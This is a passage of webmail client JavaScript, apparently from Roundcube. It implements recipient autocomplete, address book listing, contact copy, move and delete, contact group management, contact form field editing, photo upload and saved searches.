    if (old_value && old_value.length && q.startsWith(old_value) && (!data || data.num <= 0) && this.env.contacts && !this.env.contacts.length)
      return;

    var sources = props && props.sources ? props.sources : [''];
    var reqid = this.multi_thread_http_request({
      items: sources,
      threads: props && props.threads ? props.threads : 1,
      action:  props && props.action ? props.action : 'mail/autocomplete',
      postdata: { _search:q, _source:'%s' },
      lock: this.display_message('searching', 'loading')
    });

    this.ksearch_data = { id:reqid, sources:sources.slice(), num:sources.length };
  };

  this.ksearch_query_results = function(results, search, reqid)
  {
    // trigger multi-thread http response callback
    this.multi_thread_http_response(results, reqid);

    // search stopped in meantime?
    if (!this.ksearch_value)
      return;

    // ignore this outdated search response
    if (this.ksearch_input && search != this.ksearch_value)
      return;

    // display search results
    var i, id, len, ul, text, type, init,
      is_framed = this.is_framed(),
      value = this.ksearch_value,
      maxlen = this.env.autocomplete_max ? this.env.autocomplete_max : 15;

    // create results pane if not present
    if (!this.ksearch_pane) {
      ul = $('<ul>');
      this.ksearch_pane = $('<div>')
        .attr({id: 'rcmKSearchpane', role: 'listbox', 'class': 'select-menu inline'})
        .css({position: 'absolute', 'z-index': 30000})
        .append(ul)
        .appendTo(is_framed ? parent.document.body : document.body);

      this.ksearch_pane.__ul = ul[0];
      this.triggerEvent('autocomplete_create', {obj: this.ksearch_pane});
    }

    ul = this.ksearch_pane.__ul;

    // remove all search results or add to existing list if parallel search
    if (reqid && this.ksearch_pane.data('reqid') == reqid) {
      maxlen -= ul.childNodes.length;
    }
    else {
      this.ksearch_pane.data('reqid', reqid);
      init = 1;
      // reset content
      ul.innerHTML = '';
      this.env.contacts = [];

      // Calculate the results pane position and size
      // Elastic: On small screen we use the width/position of the whole .ac-input element (input's parent)
      var is_composite_input = $('html').is('.layout-small,.layout-phone') && $(this.ksearch_input).parents('.ac-input').length == 1,
        input = is_composite_input ? $(this.ksearch_input).parents('.ac-input')[0] : $(this.ksearch_input)[0],
        pos = $(input).offset();

      // ... consider scroll position
      pos.left -= $(document.documentElement).scrollLeft();
      pos.top -= $(document.documentElement).scrollTop();

      // ... consider iframe position
      if (is_framed) {
        try {
          parent.$('iframe').each(function() {
            if (this.contentWindow == window) {
              var offset = $(this).offset();
              pos.left += offset.left;
              pos.top += offset.top;
            }
          });
        }
        catch(e) {}
      }

      var w = $(is_framed ? parent : window).width(),
        input_width = $(input).outerWidth(),
        left = w - pos.left > 200 ? pos.left : w - 200,
        top = (pos.top + input.offsetHeight + 1),
        width = Math.min(400, w - left);

      this.ksearch_pane.css({
        left: (is_composite_input ? pos.left : left) + 'px',
        top: top + 'px',
        maxWidth: (is_composite_input ? input_width : width) + 'px',
        minWidth: '200px',
        width: is_composite_input ? (input_width + 'px') : 'auto',
        display: 'none'
      });
    }

    // add each result line to list
    if (results && (len = results.length)) {
      for (i=0; i < len && maxlen > 0; i++) {
        text = typeof results[i] === 'object' ? (results[i].display || results[i].name) : results[i];
        type = typeof results[i] === 'object' ? results[i].type : '';
        id = i + this.env.contacts.length;
        $('<li>').attr({id: 'rcmkSearchItem' + id, role: 'option'})
          .html('<i class="icon"></i>' + this.quote_html(text.replace(new RegExp('('+RegExp.escape(value)+')', 'ig'), '##$1%%')).replace(/##([^%]+)%%/g, '<b>$1</b>'))
          .addClass(type || '')
          .appendTo(ul)
          .mouseover(function() { ref.ksearch_select(this); })
          .mouseup(function() { ref.ksearch_click(this); })
          .get(0)._rcm_id = id;
        maxlen -= 1;
      }
    }

    if (ul.childNodes.length) {
      // set the right aria-* attributes to the input field
      $(this.ksearch_input)
        .attr({'aria-haspopup': 'true', 'aria-expanded': 'true', 'aria-owns': 'rcmKSearchpane'});

      this.ksearch_pane.show();

      // select the first
      if (!this.env.contacts.length) {
        this.ksearch_select($('li', ul)[0]);
      }
    }

    if (len)
      this.env.contacts = this.env.contacts.concat(results);

    if (this.ksearch_data.id == reqid)
      this.ksearch_data.num--;
  };

  // Getter for input value
  // returns a string from the last comma to current cursor position
  this.ksearch_input_get = function()
  {
    if (!this.ksearch_input)
      return '';

    var cp = this.get_caret_pos(this.ksearch_input);

    return this.ksearch_input.value.substr(0, cp).split(/[,;]/).pop();
  };

  // Setter for input value
  // replaces 'from' string with 'to' and sets cursor position at the end
  this.ksearch_input_replace = function(from, to, input, trigger)
  {
    if (!this.ksearch_input && !input)
      return;

    if (!input)
      input = this.ksearch_input;

    var cpos = this.get_caret_pos(input),
      p = input.value.lastIndexOf(from, cpos),
      pre = input.value.substring(0, p),
      end = input.value.substring(p + from.length, input.value.length);

    input.value = pre + to + end;

    // set caret to insert pos
    this.set_caret_pos(input, cpos + to.length - from.length);

    // run onchange action on the element
    $(input).trigger('change', [true, trigger]);
  };

  this.ksearch_click = function(node)
  {
    if (this.ksearch_input)
      this.ksearch_input.focus();

    this.insert_recipient(node._rcm_id);
    this.ksearch_hide();
  };

  this.ksearch_blur = function()
  {
    if (this.ksearch_timer)
      clearTimeout(this.ksearch_timer);

    this.ksearch_input = null;
    this.ksearch_hide();
  };

  this.ksearch_hide = function()
  {
    this.ksearch_selected = null;
    this.ksearch_value = '';

    if (this.ksearch_pane)
      this.ksearch_pane.hide();

    $(this.ksearch_input)
      .attr({'aria-haspopup': 'false', 'aria-expanded': 'false'})
      .removeAttr('aria-activedescendant')
      .removeAttr('aria-owns');

    this.ksearch_destroy();
  };

  // Clears autocomplete data/requests
  this.ksearch_destroy = function()
  {
    if (this.ksearch_data)
      this.multi_thread_request_abort(this.ksearch_data.id);

    if (this.ksearch_info)
      this.hide_message(this.ksearch_info);

    if (this.ksearch_msg)
      this.hide_message(this.ksearch_msg);

    this.ksearch_data = null;
    this.ksearch_info = null;
    this.ksearch_msg = null;
  };


  /*********************************************************/
  /*********         address book methods          *********/
  /*********************************************************/

  this.contactlist_select = function(list)
  {
    if (this.preview_timer)
      clearTimeout(this.preview_timer);

    var id, targets,
      groupcount = 0,
      writable = false,
      deletable = false,
      copy_writable = false,
      selected = list.get_selection().length,
      source = this.env.source ? this.env.address_sources[this.env.source] : null;

    // we don't have dblclick handler here, so use 50 instead of this.dblclick_time
    if (this.env.contentframe && !list.multi_selecting && (id = list.get_single_selection()))
      this.preview_timer = setTimeout(function() { ref.load_contact(id, 'show'); }, this.preview_delay_click);
    else if (this.env.contentframe)
      this.show_contentframe(false);

    if (selected) {
      list.draggable = false;

      // no source = search result, we'll need to detect if any of
      // selected contacts are in writable addressbook to enable edit/delete
      // we'll also need to know sources used in selection for copy
      // and group-addmember operations (drag&drop)
      this.env.selection_sources = [];

      if (source) {
        this.env.selection_sources.push(this.env.source);
      }

      $.each(list.get_selection(), function(i, v) {
        var book, sid, contact = list.data[v];
        if (!source) {
          sid = String(v).replace(/^[^-]+-/, '');
          book = sid ? ref.env.address_sources[sid] : null;

          if (book) {
            writable = writable || (!book.readonly && !contact.readonly);
            deletable = deletable || book.deletable === true;
            ref.env.selection_sources.push(sid);
          }
        }
        else {
          writable = writable || (!source.readonly && !contact.readonly);
          deletable = deletable || source.deletable === true;
        }

        if (contact._type != 'group')
          list.draggable = true;
      });

      this.env.selection_sources = $.unique(this.env.selection_sources);

      if (source && source.groups)
        $.each(this.env.contactgroups, function() { if (this.source === ref.env.source) groupcount++; });

      targets = $.map(this.env.address_sources, function(v, i) { return v.readonly ? null : i; });
      copy_writable = $.grep(targets, function(v) { return jQuery.inArray(v, ref.env.selection_sources) < 0; }).length > 0;
    }

    // if a group is currently selected, and there is at least one contact selected
    // we can enable the group-remove-selected command
    this.enable_command('group-assign-selected', groupcount > 0 && writable);
    this.enable_command('group-remove-selected', this.env.group && writable);
    this.enable_command('print', 'qrcode', selected == 1);
    this.enable_command('export-selected', selected > 0);
    this.enable_command('edit', id && writable);
    this.enable_command('delete', 'move', writable || deletable);
    this.enable_command('copy', copy_writable);

    return false;
  };

  this.list_contacts = function(src, group, page, search)
  {
    var win, folder, index = -1, url = {},
      refresh = src === undefined && group === undefined && page === undefined,
      target = window;

    if (!src)
      src = this.env.source;

    if (refresh)
      group = this.env.group;

    if (src != this.env.source) {
      page = this.env.current_page = 1;
      this.reset_qsearch();
    }
    else if (!refresh && group != this.env.group)
      page = this.env.current_page = 1;

    if (this.env.search_id)
      folder = 'S'+this.env.search_id;
    else if (!this.env.search_request)
      folder = group ? 'G'+src+group : src;

    this.env.source = this.env.last_source = src;
    this.env.group = this.env.last_group = group;

    // truncate groups listing stack
    $.each(this.env.address_group_stack, function(i, v) {
      if (ref.env.group == v.id) {
        index = i;
        return false;
      }
    });

    this.env.address_group_stack = index < 0 ? [] : this.env.address_group_stack.slice(0, index);

    // remove cached contact group selector
    this.destroy_entity_selector('contactgroup-selector');

    // make sure the current group is on top of the stack
    if (this.env.group) {
      if (!search) search = {};
      search.id = this.env.group;
      this.env.address_group_stack.push(search);

      // mark the first group on the stack as selected in the directory list
      folder = 'G'+src+this.env.address_group_stack[0].id;
    }
    else if (this.gui_objects.addresslist_title) {
        $(this.gui_objects.addresslist_title).text(this.get_label('contacts'));
    }

    if (!this.env.search_id)
      this.select_folder(folder, '', true);

    // load contacts remotely
    if (this.gui_objects.contactslist) {
      this.list_contacts_remote(src, group, page);
      return;
    }

    if (win = this.get_frame_window(this.env.contentframe)) {
      target = win;
      url._framed = 1;
    }

    if (group)
      url._gid = group;
    if (page)
      url._page = page;
    if (src)
      url._source = src;

    // also send search request to get the correct listing
    if (this.env.search_request)
      url._search = this.env.search_request;

    this.set_busy(true, 'loading');
    this.location_href(url, target);
  };

  // send remote request to load contacts list
  this.list_contacts_remote = function(src, group, page)
  {
    // clear message list first
    this.list_contacts_clear();

    // send request to server
    var url = {}, lock = this.set_busy(true, 'loading');

    if (src)
      url._source = src;
    if (page)
      url._page = page;
    if (group)
      url._gid = group;

    this.env.source = src;
    this.env.group = group;

    // also send search request to get the right records
    if (this.env.search_request)
      url._search = this.env.search_request;

    this.http_request(this.env.task == 'mail' ? 'list-contacts' : 'list', url, lock);

    if (this.env.task != 'mail')
      this.update_state({_source: src, _page: page && page > 1 ? page : null, _gid: group});
  };

  this.list_contacts_clear = function()
  {
    this.contact_list.data = {};
    this.contact_list.clear(true);
    this.show_contentframe(false);
    this.enable_command('delete', 'move', 'copy', 'print', false);
  };

  this.set_group_prop = function(prop)
  {
    if (this.gui_objects.addresslist_title) {
      var boxtitle = $(this.gui_objects.addresslist_title).html('');  // clear contents

      // add link to pop back to parent group
      if (this.env.address_group_stack.length > 1
        || (this.env.address_group_stack.length == 1 && this.env.address_group_stack[0].search_request)
      ) {
        var link = $('<a href="#list">...</a>')
          .attr({title: this.get_label('uponelevel'), 'class': 'poplink'})
          .click(function() { return ref.command('popgroup', '', this); });

        boxtitle.append(link).append('&nbsp;&raquo;&nbsp;');
      }

      boxtitle.append($('<span>').text(prop ? prop.name : this.get_label('contacts')));
    }
  };

  // load contact record
  this.load_contact = function(cid, action, framed)
  {
    var win, url = {}, target = window,
      rec = this.contact_list ? this.contact_list.data[cid] : null;

    if (win = this.get_frame_window(this.env.contentframe)) {
      url._framed = 1;
      target = win;
      this.show_contentframe(true);

      // load dummy content, unselect selected row(s)
      if (!cid)
        this.contact_list.clear_selection();

      this.enable_command('export-selected', 'print', rec && rec._type != 'group');
    }
    else if (framed)
      return false;

    if (action && (cid || action == 'add') && !this.drag_active) {
      if (this.env.group)
        url._gid = this.env.group;

      if (this.env.search_request)
        url._search = this.env.search_request;

      if (cid)
        url._cid = this.preview_id = cid;

      url._action = action;
      url._source = this.env.source;

      this.location_href(url, target, true);
    }

    return true;
  };

  // add/delete member to/from the group
  this.group_member_change = function(what, cid, source, gid)
  {
    if (what != 'add')
      what = 'del';

    var lock = this.display_message(what == 'add' ? 'addingmember' : 'removingmember', 'loading'),
      post_data = {_cid: cid, _source: source, _gid: gid};

    this.http_post('group-'+what+'members', post_data, lock);
  };

  this.contacts_drag_menu = function(e, to)
  {
    var dest = to.type == 'group' ? to.source : to.id,
      source = this.env.source;

    if (!this.env.address_sources[dest] || this.env.address_sources[dest].readonly)
      return true;

    // search result may contain contacts from many sources, but if there is only one...
    if (source == '' && this.env.selection_sources.length == 1)
      source = this.env.selection_sources[0];

    if (to.type == 'group' && dest == source) {
      var cid = this.contact_list.get_selection().join(',');
      this.group_member_change('add', cid, dest, to.id);
      return true;
    }
    // move action is not possible, "redirect" to copy if menu wasn't requested
    else if (!this.commands.move && rcube_event.get_modifier(e) != SHIFT_KEY) {
      this.copy_contacts(to);
      return true;
    }

    return this.drag_menu(e, to);
  };

  // copy contact(s) to the specified target (group or directory)
  this.copy_contacts = function(to, event, cid)
  {
    if (!to) {
      cid = this.contact_list.get_selection();
      return this.addressbook_selector(event, function(to, obj) {
          var to = $(obj).data('source') ? ref.env.contactgroups['G' + $(obj).data('source') + $(obj).data('gid')] : ref.env.address_sources[to];
          ref.copy_contacts(to, null, cid);
        });
    }

    var dest = to.type == 'group' ? to.source : to.id,
      source = this.env.source,
      group = this.env.group ? this.env.group : '';

    cid = cid ? cid.join(',') : this.contact_list.get_selection().join(',');

    if (!cid || !this.env.address_sources[dest] || this.env.address_sources[dest].readonly)
      return;

    // search result may contain contacts from many sources, but if there is only one...
    if (source == '' && this.env.selection_sources.length == 1)
      source = this.env.selection_sources[0];

    // target is a group
    if (to.type == 'group') {
      if (dest == source)
        return;

      var lock = this.display_message('copyingcontact', 'loading'),
        post_data = {_cid: cid, _source: this.env.source, _to: dest, _togid: to.id, _gid: group};

      this.http_post('copy', post_data, lock);
    }
    // target is an addressbook
    else if (to.id != source) {
      var lock = this.display_message('copyingcontact', 'loading'),
        post_data = {_cid: cid, _source: this.env.source, _to: to.id, _gid: group};

      this.http_post('copy', post_data, lock);
    }
  };

  // move contact(s) to the specified target (group or directory)
  this.move_contacts = function(to, event, cid)
  {
    if (!to) {
      cid = this.contact_list.get_selection();
      return this.addressbook_selector(event, function(to, obj) {
          var to = $(obj).data('source') ? ref.env.contactgroups['G' + $(obj).data('source') + $(obj).data('gid')] : ref.env.address_sources[to];
          ref.move_contacts(to, null, cid);
        });
    }

    var dest = to.type == 'group' ? to.source : to.id,
      source = this.env.source,
      group = this.env.group ? this.env.group : '';

    if (!this.env.address_sources[dest] || this.env.address_sources[dest].readonly)
      return;

    if (!cid)
      cid = this.contact_list.get_selection();

    // search result may contain contacts from many sources, but if there is only one...
    if (source == '' && this.env.selection_sources.length == 1)
      source = this.env.selection_sources[0];

    if (to.type == 'group') {
      if (dest == source)
        return;

      this._with_selected_contacts('move', {_to: dest, _togid: to.id, _cid: cid});
    }
    // target is an addressbook
    else if (to.id != source)
      this._with_selected_contacts('move', {_to: to.id, _cid: cid});
  };

  // delete contact(s)
  this.delete_contacts = function()
  {
    var undelete = this.env.source && this.env.address_sources[this.env.source].undelete;

    if (undelete) {
      this._with_selected_contacts('delete', {_cid: this.contact_list.get_selection()});
    }
    else {
      var cid = this.contact_list.get_selection();
      this.confirm_dialog(this.get_label('deletecontactconfirm'), 'delete', function() {
        ref._with_selected_contacts('delete', {_cid: cid});
      });
    }
  };

  this._with_selected_contacts = function(action, post_data)
  {
    var selection = post_data._cid;

    // exit if no contact specified or if selection is empty
    if (!selection.length && !this.env.cid)
      return;

    var n, a_cids = [],
      label = action == 'delete' ? 'contactdeleting' : 'movingcontact',
      lock = this.display_message(label, 'loading'),
      display_next = this.check_display_next();

    if (this.env.cid)
      a_cids.push(this.env.cid);
    else {
      for (n=0; n<selection.length; n++) {
        id = selection[n];
        a_cids.push(id);
        this.contact_list.remove_row(id, display_next && n == selection.length-1);
      }

      if (!display_next)
        this.contact_list.clear_selection();
    }

    if (!post_data)
      post_data = {};

    post_data._source = this.env.source;
    post_data._from = this.env.action;
    post_data._cid = a_cids.join(',');

    if (this.env.group)
      post_data._gid = this.env.group;

    // also send search request to get the right records from the next page
    if (this.env.search_request)
      post_data._search = this.env.search_request;

    // send request to server
    this.http_post(action, post_data, lock)

    return true;
  };

  // update a contact record in the list
  this.update_contact_row = function(cid, cols_arr, newcid, source, data)
  {
    var list = this.contact_list;

    cid = this.html_identifier(cid);

    // when in searching mode, concat cid with the source name
    if (!list.rows[cid]) {
      cid = cid + '-' + source;
      if (newcid)
        newcid = newcid + '-' + source;
    }

    list.update_row(cid, cols_arr, newcid, true);
    list.data[cid] = data;
  };

  // add row to contacts list
  this.add_contact_row = function(cid, cols, classes, data)
  {
    if (!this.gui_objects.contactslist)
      return false;

    var c, col, list = this.contact_list,
      row = { cols:[] };

    row.id = 'rcmrow' + this.html_identifier(cid);
    row.className = 'contact ' + (classes || '');

    if (list.in_selection(cid))
      row.className += ' selected';

    // add each submitted col
    for (c in cols) {
      col = {};
      col.className = String(c).toLowerCase();
      col.innerHTML = cols[c];
      row.cols.push(col);
    }

    // store data in list member
    list.data[cid] = data;
    list.insert_row(row);

    this.enable_command('export', list.rowcount > 0);
  };

  this.init_contact_form = function()
  {
    var col;

    if (this.env.coltypes) {
      this.set_photo_actions($('#ff_photo').val());
      for (col in this.env.coltypes)
        this.init_edit_field(col, null);
    }

    $('.contactfieldgroup .row a.deletebutton').click(function() {
      ref.delete_edit_field(this);
      return false;
    });

    $('select.addfieldmenu').change(function() {
      ref.insert_edit_field($(this).val(), $(this).attr('rel'), this);
      this.selectedIndex = 0;
    });

    // enable date pickers on date fields
    if ($.datepicker && this.env.date_format) {
      $.datepicker.setDefaults({
        dateFormat: this.env.date_format,
        changeMonth: true,
        changeYear: true,
        yearRange: '-120:+10',
        showOtherMonths: true,
        selectOtherMonths: true
      });
      $('input.datepicker').datepicker();
    }

    // Submit search form on Enter
    if (this.env.action == 'search')
      $(this.gui_objects.editform).append($('<input type="submit">').hide())
        .submit(function() { $('input.mainaction').click(); return false; });
  };

  // group creation dialog
  this.group_create = function()
  {
    var input = $('<input>').attr({type: 'text', 'data-submit': 'true'}),
      content = $('<label>').text(this.get_label('namex')).append(input),
      source = this.env.source;

    this.simple_dialog(content, 'newgroup', function() {
        var name;
        if (name = input.val()) {
          ref.http_post('group-create', {_source: source, _name: name},
            ref.set_busy(true, 'loading'));
          return true;
        }
      });
  };

  // group rename dialog
  this.group_rename = function()
  {
    if (!this.env.group)
      return;

    var group_name = this.env.contactgroups['G' + this.env.source + this.env.group].name,
      input = $('<input>').attr({type: 'text', 'data-submit': 'true'}).val(group_name),
      content = $('<label>').text(this.get_label('namex')).append(input),
      source = this.env.source,
      group = this.env.group;

    this.simple_dialog(content, 'grouprename', function() {
        var name;
        if ((name = input.val()) && name != group_name) {
          ref.http_post('group-rename', {_source: source, _gid: group, _name: name},
          ref.set_busy(true, 'loading'));
          return true;
        }
      });
  };

  this.group_delete = function()
  {
    if (this.env.group) {
      var group = this.env.group;
      this.confirm_dialog(this.get_label('deletegroupconfirm'), 'delete', function() {
          var lock = ref.set_busy(true, 'groupdeleting');
          ref.http_post('group-delete', {_source: ref.env.source, _gid: group}, lock);
        });
    }
  };

  // callback from server upon group-delete command
  this.remove_group_item = function(prop)
  {
    var key = 'G' + prop.source + prop.id;

    if (this.treelist.remove(key)) {
      // make sure there is no cached address book or contact group selectors
      this.destroy_entity_selector('addressbook-selector');
      this.destroy_entity_selector('contactgroup-selector');

      this.triggerEvent('group_delete', { source:prop.source, id:prop.id });
      delete this.env.contactfolders[key];
      delete this.env.contactgroups[key];
    }

    if (prop.source == this.env.source && prop.id == this.env.group)
      this.list_contacts(prop.source, 0);
  };

  //assign selected contacts to a group
  this.group_assign_selected = function(props, obj, event)
  {
    var cid = ref.contact_list.get_selection();
    var source = ref.env.source;
    this.contactgroup_selector(event, function(to) { ref.group_member_change('add', cid, source, to); });
  };

  //remove selected contacts from current active group
  this.group_remove_selected = function()
  {
    this.http_post('group-delmembers', {_cid: this.contact_list.get_selection(),
      _source: this.env.source, _gid: this.env.group});
  };

  //callback after deleting contact(s) from current group
  this.remove_group_contacts = function(props)
  {
    if (this.env.group !== undefined && (this.env.group === props.gid)) {
      var n, selection = this.contact_list.get_selection(),
        display_next= this.check_display_next();

      for (n=0; n<selection.length; n++) {
        id = selection[n];
        this.contact_list.remove_row(id, display_next && n == selection.length-1);
      }

      if (!display_next)
        this.contact_list.clear_selection();
    }
  };

  // callback for creating a new contact group
  this.insert_contact_group = function(prop)
  {
    prop.type = 'group';

    var key = 'G'+prop.source+prop.id,
      link = $('<a>').attr({href: '#', rel: prop.source + ':' + prop.id})
        .click(function() { return ref.command('listgroup', prop, this); })
        .text(prop.name);

    this.env.contactfolders[key] = this.env.contactgroups[key] = prop;
    this.treelist.insert({ id:key, html:link, classes:['contactgroup'] }, prop.source, 'contactgroup');

    // make sure there is no cached address book or contact group selectors
    this.destroy_entity_selector('addressbook-selector');
    this.destroy_entity_selector('contactgroup-selector');

    this.triggerEvent('group_insert', { id:prop.id, source:prop.source, name:prop.name, li:this.treelist.get_item(key) });
  };

  // callback for renaming a contact group
  this.update_contact_group = function(prop)
  {
    var key = 'G'+prop.source+prop.id,
      newnode = {};

    // group ID has changed, replace link node and identifiers
    if (prop.newid) {
      var newkey = 'G'+prop.source+prop.newid,
        newprop = $.extend({}, prop);

      this.env.contactfolders[newkey] = this.env.contactfolders[key];
      this.env.contactfolders[newkey].id = prop.newid;
      this.env.group = prop.newid;

      delete this.env.contactfolders[key];
      delete this.env.contactgroups[key];

      newprop.id = prop.newid;
      newprop.type = 'group';

      newnode.id = newkey;
      newnode.html = $('<a>').attr({href: '#', rel: prop.source + ':' + prop.newid})
        .click(function() { return ref.command('listgroup', newprop, this); })
        .text(prop.name);
    }
    // update displayed group name
    else {
      $(this.treelist.get_item(key)).children().first().text(prop.name);
      this.env.contactfolders[key].name = this.env.contactgroups[key].name = prop.name;

      if (prop.source == this.env.source && prop.id == this.env.group)
        this.set_group_prop(prop);
    }

    // update list node and re-sort it
    this.treelist.update(key, newnode, true);

    // make sure there is no cached address book or contact group selectors
    this.destroy_entity_selector('addressbook-selector');
    this.destroy_entity_selector('contactgroup-selector');

    this.triggerEvent('group_update', { id:prop.id, source:prop.source, name:prop.name, li:this.treelist.get_item(key), newid:prop.newid });
  };

  this.update_group_commands = function()
  {
    var source = this.env.source != '' ? this.env.address_sources[this.env.source] : null,
      supported = source && source.groups && !source.readonly;

    this.enable_command('group-create', supported);
    this.enable_command('group-rename', 'group-delete', supported && this.env.group);
  };

  this.init_edit_field = function(col, elem)
  {
    var label = this.env.coltypes[col].label;

    if (!elem)
      elem = $('.ff_' + col);

    if (label && !$('label[for="ff_' + col + '"]').length)
      elem.placeholder(label);
  };

  this.insert_edit_field = function(col, section, menu)
  {
    // just make pre-defined input field visible
    var elem = $('#ff_' + col);
    if (elem.length) {
      $('label[for="ff_' + col + '"]').parent().show();
      elem.show().focus();
      $(menu).children('option[value="' + col + '"]').prop('disabled', true);
    }
    else {
      var lastelem = $('.ff_' + col),
        appendcontainer = $('#contactsection'+section+' .contactcontroller'+col);

      if (!appendcontainer.length) {
        var sect = $('#contactsection'+section),
          lastgroup = $('.contactfieldgroup', sect).last();
        appendcontainer = $('<fieldset>').addClass('contactfieldgroup contactcontroller'+col);
        if (lastgroup.length)
          appendcontainer.insertAfter(lastgroup);
        else
          sect.prepend(appendcontainer);
      }

      if (appendcontainer.get(0).nodeName == 'FIELDSET') {
        var label, input,
          colprop = this.env.coltypes[col],
          name_suffix = colprop.limit != 1 ? '[]' : '',
          compact = $(menu).data('compact') ? true : false,
          input_id = 'ff_' + col + (colprop.count || 0),
          row = $('<div>').addClass('row input-group'),
          cell = $('<div>').addClass('contactfieldcontent ' + colprop.type);

        // Field label
        if (colprop.subtypes_select) {
          label = $(colprop.subtypes_select);
          if (!compact)
            label = $('<div>').addClass('contactfieldlabel label').append(label);
          else
            label.addClass('input-group-prepend');
        }
        else {
          label = $('<label>').addClass('contactfieldlabel label input-group-text')
            .attr('for', input_id).text(colprop.label);

          if (compact)
            label = $('<span class="input-group-prepend">').append(label);
        }

        // Field input
        if (colprop.type == 'text' || colprop.type == 'date') {
          input = $('<input>')
            .addClass('form-control ff_' + col)
            .attr({type: 'text', name: '_'+col+name_suffix, size: colprop.size, id: input_id});

          this.init_edit_field(col, input);

          if (colprop.type == 'date' && $.datepicker)
            input.addClass('datepicker').datepicker();
        }
        else if (colprop.type == 'textarea') {
          input = $('<textarea>')
            .addClass('form-control ff_' + col)
            .attr({ name: '_' + col + name_suffix, cols: colprop.size, rows: colprop.rows, id: input_id });

          this.init_edit_field(col, input);
        }
        else if (colprop.type == 'composite') {
          var i, childcol, cp, first, templ, cols = [], suffices = [], content = cell;

          row.addClass('composite');

          if (compact)
            content = $('<div class="content input-group-text">');

          // read template for composite field order
          if (templ = this.env[col + '_template']) {
            for (i=0; i < templ.length; i++) {
              cols.push(templ[i][1]);
              suffices.push(templ[i][2]);
            }
          }
          else {  // list fields according to appearance in colprop
            for (childcol in colprop.childs)
              cols.push(childcol);
          }

          for (i=0; i < cols.length; i++) {
            childcol = cols[i];
            cp = colprop.childs[childcol];
            input = $('<input>')
              .addClass('form-control ff_' + childcol)
              .attr({ type: 'text', name: '_' + childcol + name_suffix, size: cp.size })
              .appendTo(content);

            if (!compact)
              content.append(suffices[i] || " ");

            this.init_edit_field(childcol, input);
            if (!first) first = input;
          }

          if (compact)
            input = content;
          else
            input = first;  // set focus to the first of this composite fields
        }
        else if (colprop.type == 'select') {
          input = $('<select>')
            .addClass('custom-select ff_' + col)
            .attr({ name: '_' + col + name_suffix, id: input_id });

          var options = input.attr('options');
          options[options.length] = new Option('---', '');
          if (colprop.options)
            $.each(colprop.options, function(i, val) { options[options.length] = new Option(val, i); });
        }

        if (input) {
          var delbutton = $('<a href="#del"></a>')
            .addClass('contactfieldbutton deletebutton input-group-text icon delete')
            .attr({title: this.get_label('delete'), rel: col})
            .html(this.env.delbutton)
            .click(function() { ref.delete_edit_field(this); return false; });

          row.append(label);

          if (!compact) {
            if (colprop.type != 'composite')
              cell.append(input);
            row.append(cell.append(delbutton));
          }
          else {
            row.append(input).append(delbutton);
            delbutton.wrap('<span class="input-group-append">');
          }

          row.appendTo(appendcontainer.show());

          if (input.is('div'))
            input.find('input').first().focus();
          else
            input.first().focus();

          // disable option if limit reached
          if (!colprop.count) colprop.count = 0;
          if (++colprop.count == colprop.limit && colprop.limit)
            $(menu).children('option[value="' + col + '"]').prop('disabled', true);

          this.triggerEvent('insert-edit-field', input);
        }
      }
    }
  };

  this.delete_edit_field = function(elem)
  {
    var col = $(elem).attr('rel'),
      colprop = this.env.coltypes[col],
      input_group = $(elem).parents('div.row'),
      fieldset = $(elem).parents('fieldset.contactfieldgroup'),
      addmenu = fieldset.parent().find('select.addfieldmenu');

    // just clear input but don't hide the last field
    if (--colprop.count <= 0 && colprop.visible)
      input_group.find('input').val('').blur();
    else {
      input_group.remove();
      // hide entire fieldset if no more rows
      if (!fieldset.children('div.row').length)
        fieldset.hide();
    }

    // enable option in add-field selector or insert it if necessary
    if (addmenu.length) {
      var option = addmenu.children('option[value="'+col+'"]');
      if (option.length)
        option.prop('disabled', false);
      else
        option = $('<option>').attr('value', col).html(colprop.label).appendTo(addmenu);
      addmenu.show();
    }
  };

  this.upload_contact_photo = function(form)
  {
    if (form && form.elements._photo.value) {
      this.async_upload_form(form, 'upload-photo', function(e) {
        ref.set_busy(false, null, ref.file_upload_id);
      });

      // display upload indicator
      this.file_upload_id = this.set_busy(true, 'uploading');
    }
  };

  this.replace_contact_photo = function(id)
  {
    var img_src = id == '-del-' ? this.env.photo_placeholder :
      this.env.comm_path + '&_action=photo&_source=' + this.env.source + '&_cid=' + (this.env.cid || 0) + '&_photo=' + id;

    this.set_photo_actions(id);
    $(this.gui_objects.contactphoto).children('img').attr('src', img_src);
  };

  this.photo_upload_end = function()
  {
    this.set_busy(false, null, this.file_upload_id);
    delete this.file_upload_id;
  };

  this.set_photo_actions = function(id)
  {
    var n, buttons = this.buttons['upload-photo'];
    for (n=0; buttons && n < buttons.length; n++)
      $('a#'+buttons[n].id).html(this.get_label(id == '-del-' ? 'addphoto' : 'replacephoto'));

    $('#ff_photo').val(id);
    this.enable_command('upload-photo', this.env.coltypes.photo ? true : false);
    this.enable_command('delete-photo', this.env.coltypes.photo && id != '-del-');
  };

  // load advanced search page
  this.advanced_search = function()
  {
    var dialog = $('<iframe>').attr('src', this.url('search', {_form: 1, _framed: 1})),
      search_func = function() {
        var valid = false, form = {_adv: 1};

        $.each($(dialog[0].contentWindow.rcmail.gui_objects.editform).serializeArray(), function() {
          if (this.name.match(/^_search/) && this.value != '') {
            form[this.name] = this.value;
            valid = true;
          }
        });

        if (valid) {
          ref.http_post('search', form, ref.set_busy(true, 'searching'));
          return true;
        }
      };

    this.simple_dialog(dialog, 'advsearch', search_func, {
      button: 'search',
      width: 600,
      height: 500
    });

    return true;
  };

  // unselect directory/group
  this.unselect_directory = function()
  {
    this.select_folder('');
    this.enable_command('search-delete', false);
  };

  // callback for creating a new saved search record
  this.insert_saved_search = function(name, id)
  {
    var key = 'S'+id,
      link = $('<a>').attr({href: '#', rel: id})
        .click(function() { return ref.command('listsearch', id, this); })
        .html(name),
      prop = { name:name, id:id };

    this.savedsearchlist.insert({ id:key, html:link, classes:['contactsearch'] }, null, 'contactsearch');
    this.select_folder(key,'',true);
    this.enable_command('search-delete', true);
    this.env.search_id = id;

    this.triggerEvent('abook_search_insert', prop);
  };

  // creates a dialog for saved search
  this.search_create = function()
  {
    var input = $('<input>').attr('type', 'text'),
      content = $('<label>').text(this.get_label('namex')).append(input);

    this.simple_dialog(content, 'searchsave',
      function() {
        var name;
        if (name = input.val()) {
          ref.http_post('search-create', {_search: ref.env.search_request, _name: name},
            ref.set_busy(true, 'loading'));
          return true;
        }
      }
    );
  };

  this.search_delete = function()
  {
    if (this.env.search_request) {
      var lock = this.set_busy(true, 'savedsearchdeleting');
